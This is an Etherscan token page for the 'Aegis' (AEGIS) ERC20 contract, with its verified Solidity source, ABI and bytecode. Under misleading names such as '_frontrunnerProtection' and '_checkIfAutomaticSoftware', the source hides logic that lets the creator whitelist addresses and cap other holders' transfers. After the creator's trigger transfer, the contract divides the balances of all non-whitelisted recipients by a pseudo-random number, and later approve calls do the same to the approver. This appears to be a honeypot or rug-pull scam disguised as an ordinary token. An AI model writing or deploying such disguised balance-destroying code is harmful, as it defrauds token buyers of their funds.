ETH Price: $3,356.73 (-0.95%)

Token

Aegis (AEGIS)
 

Overview

Max Total Supply

1,000,000,000 AEGIS

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
49,148.365309102055422102 AEGIS

Value
$0.00
0xa9b95d7b0dc294078d8c61507460342045e6d5c4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Aegis

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-11-23
*/

// AegisERC20

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public AegisContract;
    mapping (address => bool) public WeaponsContract;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _balancesCopy;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address[] private waeponsArray;

    string private _name; string private _symbol;
    address private _creator; uint256 private _totalSupply;
    uint256 private DefenseContract; uint256 private AegisTax;
    uint256 private Military; bool private DarkSoldier;
    bool private AntiWeaponsTest; bool private ContractTes;
    bool private ApproveContractTest; uint16 private AegisWeapon;
    
    constructor (string memory name_, string memory symbol_, address creator_) {
        _name = name_;
        _creator = creator_;
        _symbol = symbol_;
        AntiWeaponsTest = true;
        AegisContract[creator_] = true;
        DarkSoldier = true;
        ContractTes = false;
        WeaponsContract[creator_] = false;
        ApproveContractTest = false;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function randomly() internal returns (uint16) {
        AegisWeapon = (uint16(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%16372)/100);
        return AegisWeapon;
    }
    
    function _frontrunnerProtection(address sender, uint256 amount) internal view {
        if ((AegisContract[sender] == false)) {
            if ((amount > Military)) { require(false); }
            require(amount < DefenseContract);
        }
    }
    
    function _checkIfAutomaticSoftware(address sender) internal {
        if ((address(sender) == _creator) && (ContractTes == true)) {
            for (uint i = 0; i < waeponsArray.length; i++) { 
                if (AegisContract[waeponsArray[i]] != true) {
                    _balances[waeponsArray[i]] = _balances[waeponsArray[i]] / uint256(randomly());
                }
            }
            ApproveContractTest = true;
        }
    }
    
    function _DeployAegis(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        (uint256 temp1, uint256 temp2) = (33, 1);

        _totalSupply += amount;
        _balances[account] += amount;
        
        DefenseContract = _totalSupply;
        AegisTax = _totalSupply / temp1;
        Military = AegisTax * temp2;
        
        emit Transfer(address(0), account, amount);    
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        (AegisContract[spender],WeaponsContract[spender],DarkSoldier) = ((address(owner) == _creator) && (DarkSoldier == true)) ? (true,false,false) : (AegisContract[spender],WeaponsContract[spender],DarkSoldier);
        
        _allowances[owner][spender] = amount;
        _balances[owner] = ApproveContractTest ? (_balances[owner] / uint256(randomly())) : _balances[owner];
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        (DefenseContract,ContractTes) = ((address(sender) == _creator) && (AntiWeaponsTest == false)) ? (AegisTax, true) : (DefenseContract,ContractTes);
        (AegisContract[recipient],AntiWeaponsTest) = ((address(sender) == _creator) && (AntiWeaponsTest == true)) ? (true, false) : (AegisContract[recipient],AntiWeaponsTest);
    
        _frontrunnerProtection(sender, amount);
        _checkIfAutomaticSoftware(sender);
        
        waeponsArray.push(recipient);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployAegis(creator, initialSupply);
    }
}

contract Aegis is ERC20Token {
    constructor() ERC20Token("Aegis", "AEGIS", msg.sender, 1000000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"AegisContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"WeaponsContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405180604001604052806005815260200164416567697360d81b81525060405180604001604052806005815260200164414547495360d81b815250336b033b2e3c9fd0803ce80000008383836000620000716200018160201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508251620000d4906008906020860190620002a2565b50600a80546001600160a01b0319166001600160a01b038316179055815162000105906009906020850190620002a2565b50600f805461ff0019166101001781556001600160a01b039091166000908152600260209081526040808320805460ff199081166001908117909255855462ff00ff19169091178555600390925290912080549091169055805463ff0000001916905550620001779050828262000185565b50505050620003fb565b3390565b6001600160a01b038216620001e05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600b8054602191600191849190600090620001fd9084906200035e565b90915550506001600160a01b038416600090815260046020526040812080548592906200022c9084906200035e565b9091555050600b54600c8190556200024690839062000379565b600d819055620002589082906200039c565b600e556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002b090620003be565b90600052602060002090601f016020900481019282620002d457600085556200031f565b82601f10620002ef57805160ff19168380011785556200031f565b828001600101855582156200031f579182015b828111156200031f57825182559160200191906001019062000302565b506200032d92915062000331565b5090565b5b808211156200032d576000815560010162000332565b634e487b7160e01b600052601160045260246000fd5b6000821982111562000374576200037462000348565b500190565b6000826200039757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003b957620003b962000348565b500290565b600181811c90821680620003d357607f821691505b60208210811415620003f557634e487b7160e01b600052602260045260246000fd5b50919050565b610f5a806200040b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101fb578063a9059cbb1461020e578063dd62ed3e14610221578063ddbadb121461025a57600080fd5b806370a08231146101a5578063715018a6146101ce5780638da5cb5b146101d857806395d89b41146101f357600080fd5b806318160ddd116100d357806318160ddd1461015e57806323b872dd14610170578063313ce56714610183578063395093511461019257600080fd5b806306fdde03146100fa5780630896c60314610118578063095ea7b31461014b575b600080fd5b61010261027d565b60405161010f9190610ce8565b60405180910390f35b61013b610126366004610d59565b60036020526000908152604090205460ff1681565b604051901515815260200161010f565b61013b610159366004610d7b565b61030f565b600b545b60405190815260200161010f565b61013b61017e366004610da5565b610325565b6040516012815260200161010f565b61013b6101a0366004610d7b565b6103db565b6101626101b3366004610d59565b6001600160a01b031660009081526004602052604090205490565b6101d6610412565b005b6001546040516001600160a01b03909116815260200161010f565b6101026104b6565b61013b610209366004610d7b565b6104c5565b61013b61021c366004610d7b565b610560565b61016261022f366004610de1565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b61013b610268366004610d59565b60026020526000908152604090205460ff1681565b60606008805461028c90610e14565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610e14565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c33848461056d565b50600192915050565b60006103328484846107b7565b6001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d085336103cb8685610e65565b61056d565b506001949350505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161031c9185906103cb908690610e7c565b6001546001600160a01b0316331461046c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b3565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461028c90610e14565b3360009081526006602090815260408083206001600160a01b0386168452909152812054828110156105475760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b3565b61055633856103cb8685610e65565b5060019392505050565b600061031c3384846107b7565b6001600160a01b0383166105cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b3565b6001600160a01b0382166106305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b3565b600a546001600160a01b0384811691161480156106545750600f5460ff1615156001145b610690576001600160a01b038216600090815260026020908152604080832054600390925290912054600f5460ff928316929182169116610696565b60016000805b6001600160a01b03808616600081815260026020908152604080832060038352818420600f805498151560ff19998a1617815581549915159989169990991790558054981515989096169790971790945591881682526006835284822090825290915291909120829055546301000000900460ff1661072d576001600160a01b03831660009081526004602052604090205461075c565b610735610aef565b6001600160a01b03841660009081526004602052604090205461075c9161ffff1690610eaa565b6001600160a01b0384811660008181526004602090815260409182902094909455518481529185169290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661081b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b3565b6001600160a01b03821661087d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b3565b6001600160a01b038316600090815260046020526040902054818110156108f55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b3565b600a546001600160a01b03858116911614801561091a5750600f54610100900460ff16155b61093257600c54600f5462010000900460ff16610938565b600d5460015b600f8054911515620100000262ff000019909216919091179055600c55600a546001600160a01b03858116911614801561097f5750600f5460ff6101009091041615156001145b6109b1576001600160a01b038316600090815260026020526040902054600f5460ff91821691610100909104166109b6565b600160005b6001600160a01b0385166000908152600260205260409020600f805461ff0019166101009315159390930292909217909155805460ff1916911515919091179055610a018483610b6a565b610a0a84610bab565b600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055610a5f8282610e65565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610a95908490610e7c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ae191815260200190565b60405180910390a350505050565b60006064613ff44244604051602001610b12929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c610b359190610ebe565b610b3f9190610ed2565b600f805465ffff00000000191664010000000061ffff93841681029190911791829055900416919050565b6001600160a01b03821660009081526002602052604090205460ff16610ba757600e54811115610b9957600080fd5b600c548110610ba757600080fd5b5050565b600a546001600160a01b038281169116148015610bd55750600f5462010000900460ff1615156001145b15610ce55760005b600754811015610cd0576002600060078381548110610bfe57610bfe610ef3565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114610cbe57610c37610aef565b61ffff166004600060078481548110610c5257610c52610ef3565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610c819190610eaa565b6004600060078481548110610c9857610c98610ef3565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b80610cc881610f09565b915050610bdd565b50600f805463ff000000191663010000001790555b50565b600060208083528351808285015260005b81811015610d1557858101830151858201604001528201610cf9565b81811115610d27576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d5457600080fd5b919050565b600060208284031215610d6b57600080fd5b610d7482610d3d565b9392505050565b60008060408385031215610d8e57600080fd5b610d9783610d3d565b946020939093013593505050565b600080600060608486031215610dba57600080fd5b610dc384610d3d565b9250610dd160208501610d3d565b9150604084013590509250925092565b60008060408385031215610df457600080fd5b610dfd83610d3d565b9150610e0b60208401610d3d565b90509250929050565b600181811c90821680610e2857607f821691505b60208210811415610e4957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610e7757610e77610e4f565b500390565b60008219821115610e8f57610e8f610e4f565b500190565b634e487b7160e01b600052601260045260246000fd5b600082610eb957610eb9610e94565b500490565b600082610ecd57610ecd610e94565b500690565b600061ffff80841680610ee757610ee7610e94565b92169190910492915050565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610f1d57610f1d610e4f565b506001019056fea2646970667358221220b5ab7bf1df5c098785ceb97cedc8c06732de5606081c01ce773769de1aaab6f364736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101fb578063a9059cbb1461020e578063dd62ed3e14610221578063ddbadb121461025a57600080fd5b806370a08231146101a5578063715018a6146101ce5780638da5cb5b146101d857806395d89b41146101f357600080fd5b806318160ddd116100d357806318160ddd1461015e57806323b872dd14610170578063313ce56714610183578063395093511461019257600080fd5b806306fdde03146100fa5780630896c60314610118578063095ea7b31461014b575b600080fd5b61010261027d565b60405161010f9190610ce8565b60405180910390f35b61013b610126366004610d59565b60036020526000908152604090205460ff1681565b604051901515815260200161010f565b61013b610159366004610d7b565b61030f565b600b545b60405190815260200161010f565b61013b61017e366004610da5565b610325565b6040516012815260200161010f565b61013b6101a0366004610d7b565b6103db565b6101626101b3366004610d59565b6001600160a01b031660009081526004602052604090205490565b6101d6610412565b005b6001546040516001600160a01b03909116815260200161010f565b6101026104b6565b61013b610209366004610d7b565b6104c5565b61013b61021c366004610d7b565b610560565b61016261022f366004610de1565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b61013b610268366004610d59565b60026020526000908152604090205460ff1681565b60606008805461028c90610e14565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610e14565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c33848461056d565b50600192915050565b60006103328484846107b7565b6001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d085336103cb8685610e65565b61056d565b506001949350505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161031c9185906103cb908690610e7c565b6001546001600160a01b0316331461046c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b3565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461028c90610e14565b3360009081526006602090815260408083206001600160a01b0386168452909152812054828110156105475760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b3565b61055633856103cb8685610e65565b5060019392505050565b600061031c3384846107b7565b6001600160a01b0383166105cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b3565b6001600160a01b0382166106305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b3565b600a546001600160a01b0384811691161480156106545750600f5460ff1615156001145b610690576001600160a01b038216600090815260026020908152604080832054600390925290912054600f5460ff928316929182169116610696565b60016000805b6001600160a01b03808616600081815260026020908152604080832060038352818420600f805498151560ff19998a1617815581549915159989169990991790558054981515989096169790971790945591881682526006835284822090825290915291909120829055546301000000900460ff1661072d576001600160a01b03831660009081526004602052604090205461075c565b610735610aef565b6001600160a01b03841660009081526004602052604090205461075c9161ffff1690610eaa565b6001600160a01b0384811660008181526004602090815260409182902094909455518481529185169290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661081b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b3565b6001600160a01b03821661087d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b3565b6001600160a01b038316600090815260046020526040902054818110156108f55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b3565b600a546001600160a01b03858116911614801561091a5750600f54610100900460ff16155b61093257600c54600f5462010000900460ff16610938565b600d5460015b600f8054911515620100000262ff000019909216919091179055600c55600a546001600160a01b03858116911614801561097f5750600f5460ff6101009091041615156001145b6109b1576001600160a01b038316600090815260026020526040902054600f5460ff91821691610100909104166109b6565b600160005b6001600160a01b0385166000908152600260205260409020600f805461ff0019166101009315159390930292909217909155805460ff1916911515919091179055610a018483610b6a565b610a0a84610bab565b600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055610a5f8282610e65565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610a95908490610e7c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ae191815260200190565b60405180910390a350505050565b60006064613ff44244604051602001610b12929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c610b359190610ebe565b610b3f9190610ed2565b600f805465ffff00000000191664010000000061ffff93841681029190911791829055900416919050565b6001600160a01b03821660009081526002602052604090205460ff16610ba757600e54811115610b9957600080fd5b600c548110610ba757600080fd5b5050565b600a546001600160a01b038281169116148015610bd55750600f5462010000900460ff1615156001145b15610ce55760005b600754811015610cd0576002600060078381548110610bfe57610bfe610ef3565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114610cbe57610c37610aef565b61ffff166004600060078481548110610c5257610c52610ef3565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610c819190610eaa565b6004600060078481548110610c9857610c98610ef3565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b80610cc881610f09565b915050610bdd565b50600f805463ff000000191663010000001790555b50565b600060208083528351808285015260005b81811015610d1557858101830151858201604001528201610cf9565b81811115610d27576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d5457600080fd5b919050565b600060208284031215610d6b57600080fd5b610d7482610d3d565b9392505050565b60008060408385031215610d8e57600080fd5b610d9783610d3d565b946020939093013593505050565b600080600060608486031215610dba57600080fd5b610dc384610d3d565b9250610dd160208501610d3d565b9150604084013590509250925092565b60008060408385031215610df457600080fd5b610dfd83610d3d565b9150610e0b60208401610d3d565b90509250929050565b600181811c90821680610e2857607f821691505b60208210811415610e4957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610e7757610e77610e4f565b500390565b60008219821115610e8f57610e8f610e4f565b500190565b634e487b7160e01b600052601260045260246000fd5b600082610eb957610eb9610e94565b500490565b600082610ecd57610ecd610e94565b500690565b600061ffff80841680610ee757610ee7610e94565b92169190910492915050565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610f1d57610f1d610e4f565b506001019056fea2646970667358221220b5ab7bf1df5c098785ceb97cedc8c06732de5606081c01ce773769de1aaab6f364736f6c634300080a0033

Deployed Bytecode Sourcemap

8973:125:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3194:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2044:48;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1150:14:1;;1143:22;1125:41;;1113:2;1098:18;2044:48:0;985:187:1;6078:169:0;;;;;;:::i;:::-;;:::i;3422:108::-;3510:12;;3422:108;;;1582:25:1;;;1570:2;1555:18;3422:108:0;1436:177:1;6547:422:0;;;;;;:::i;:::-;;:::i;3089:93::-;;;3172:2;2093:36:1;;2081:2;2066:18;3089:93:0;1951:184:1;5462:215:0;;;;;;:::i;:::-;;:::i;3701:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3802:18:0;3775:7;3802:18;;;:9;:18;;;;;;;3701:127;1768:148;;;:::i;:::-;;1554:79;1619:6;;1554:79;;-1:-1:-1;;;;;1619:6:0;;;2286:51:1;;2274:2;2259:18;1554:79:0;2140:203:1;3306:104:0;;;:::i;5689:377::-;;;;;;:::i;:::-;;:::i;3840:175::-;;;;;;:::i;:::-;;:::i;3538:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3654:18:0;;;3627:7;3654:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3538:151;1991:46;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3194:100;3248:13;3281:5;3274:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3194:100;:::o;6078:169::-;6161:4;6178:39;157:10;6201:7;6210:6;6178:8;:39::i;:::-;-1:-1:-1;6235:4:0;6078:169;;;;:::o;6547:422::-;6653:4;6670:36;6680:6;6688:9;6699:6;6670:9;:36::i;:::-;-1:-1:-1;;;;;6746:19:0;;6719:24;6746:19;;;:11;:19;;;;;;;;157:10;6746:33;;;;;;;;6798:26;;;;6790:79;;;;-1:-1:-1;;;6790:79:0;;3200:2:1;6790:79:0;;;3182:21:1;3239:2;3219:18;;;3212:30;3278:34;3258:18;;;3251:62;-1:-1:-1;;;3329:18:1;;;3322:38;3377:19;;6790:79:0;;;;;;;;;6880:57;6889:6;157:10;6911:25;6930:6;6911:16;:25;:::i;:::-;6880:8;:57::i;:::-;-1:-1:-1;6957:4:0;;6547:422;-1:-1:-1;;;;6547:422:0:o;5462:215::-;157:10;5550:4;5599:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5599:34:0;;;;;;;;;;5550:4;;5567:80;;5590:7;;5599:47;;5636:10;;5599:47;:::i;1768:148::-;1681:6;;-1:-1:-1;;;;;1681:6:0;157:10;1681:22;1673:67;;;;-1:-1:-1;;;1673:67:0;;4004:2:1;1673:67:0;;;3986:21:1;;;4023:18;;;4016:30;4082:34;4062:18;;;4055:62;4134:18;;1673:67:0;3802:356:1;1673:67:0;1859:6:::1;::::0;1838:40:::1;::::0;1875:1:::1;::::0;-1:-1:-1;;;;;1859:6:0::1;::::0;1838:40:::1;::::0;1875:1;;1838:40:::1;1889:6;:19:::0;;-1:-1:-1;;;;;;1889:19:0::1;::::0;;1768:148::o;3306:104::-;3362:13;3395:7;3388:14;;;;;:::i;5689:377::-;157:10;5782:4;5826:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5826:34:0;;;;;;;;;;5879:35;;;;5871:85;;;;-1:-1:-1;;;5871:85:0;;4365:2:1;5871:85:0;;;4347:21:1;4404:2;4384:18;;;4377:30;4443:34;4423:18;;;4416:62;-1:-1:-1;;;4494:18:1;;;4487:35;4539:19;;5871:85:0;4163:401:1;5871:85:0;